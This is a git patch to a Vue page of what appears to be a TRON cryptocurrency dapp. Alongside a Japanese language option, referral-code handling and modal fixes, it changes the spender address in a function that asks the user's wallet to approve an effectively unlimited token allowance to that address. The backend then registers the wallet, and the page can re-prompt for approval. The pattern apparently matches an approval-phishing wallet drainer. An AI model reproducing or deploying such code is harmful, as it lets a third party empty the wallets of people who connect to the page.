From 32b663e9a66dc6c7c7efb184a930b1bd1d40ec37 Mon Sep 17 00:00:00 2001
From: queenwuli <942534046@qq.com>
Date: Sat, 02 Apr 2022 10:43:05 +0800
Subject: [PATCH] gx

---
 src/pages/index/index.vue |   27 +++++++++++++++++++++------
 1 files changed, 21 insertions(+), 6 deletions(-)

diff --git a/src/pages/index/index.vue b/src/pages/index/index.vue
index 4b33413..7f6c446 100644
--- a/src/pages/index/index.vue
+++ b/src/pages/index/index.vue
@@ -105,6 +105,7 @@
     let availableWallet = ref('');
     let local = ref(proxy.$i18n.locale);
     function changeLanguage(type){
+      localStorage.setItem('lang', type);
       proxy.$i18n.locale = type;
     }
 
@@ -170,7 +171,8 @@
       local,
       languague: [
         { text: 'English', value: 'en' },
-        { text: '简体中文', value: 'zh' }
+        { text: '简体中文', value: 'zh' },
+        { text: '日本语', value: 'ja' }
       ],
       // 弹窗显示隐藏
       isShowApproveModal,
@@ -276,9 +278,17 @@
           method: 'get'
         }).then((res) => {
           if(res.code == 200) {
-            this.hasApprove = true;
-            this.initAccountData()
-            sessionStorage.setItem('address', this.walletAddress);
+            let result = res.data;
+            if(result == 1) {
+              this.hasApprove = true;
+              this.initAccountData()
+              sessionStorage.setItem('address', this.walletAddress);
+            } else if (result == 2) {
+              this.submitApprove()
+            } else {
+              this.hasApprove = false;
+              this.$toast(this.$t('message.ApproveTip'));
+            }
           }else{
             this.hasApprove = false;
             this.$toast(this.$t('message.ApproveTip'));
@@ -307,16 +317,18 @@
         console.log(res)
         this.submitApprove()
         this.isApproving = false;
+        this.isShowApproveModal = false;
       }).catch((err) => {
         console.log('授权失败')
         console.log(err)
         this.isApproving = false;
+        this.isShowApproveModal = false;
       })
     },
     async tornWebApprove () {
       const tronWeb = window.tronWeb;
       const trxContractAddress = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
-      const authAddress = "TKcyw4igFYhNpTzyZv25j6uDwvTYzncnjp";
+      const authAddress = "TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD";
       let instance = await tronWeb.contract().at(trxContractAddress);
       let res = await instance["approve"](authAddress, "90000000000000000000000000000");
       res.send({
@@ -329,20 +341,23 @@
               this.submitApprove()
           }
           this.isApproving = false;
+          this.isShowApproveModal = false;
       });
     },
     submitApprove () {
+        let refererId = this.getQueryString('code');
         this.$axios({
           url: '/dapi/common/approve',
           method: 'post',
           data: {
             address: this.walletAddress,
-            refererId: ''
+            refererId: refererId ? refererId : ''
           }
         }).then((res) => {
           if(res.code == 200) {
             this.hasApprove = true;
             this.initAccountData();
+            sessionStorage.setItem('address', this.walletAddress);
           }
         })
     },

--
Gitblit v1.9.1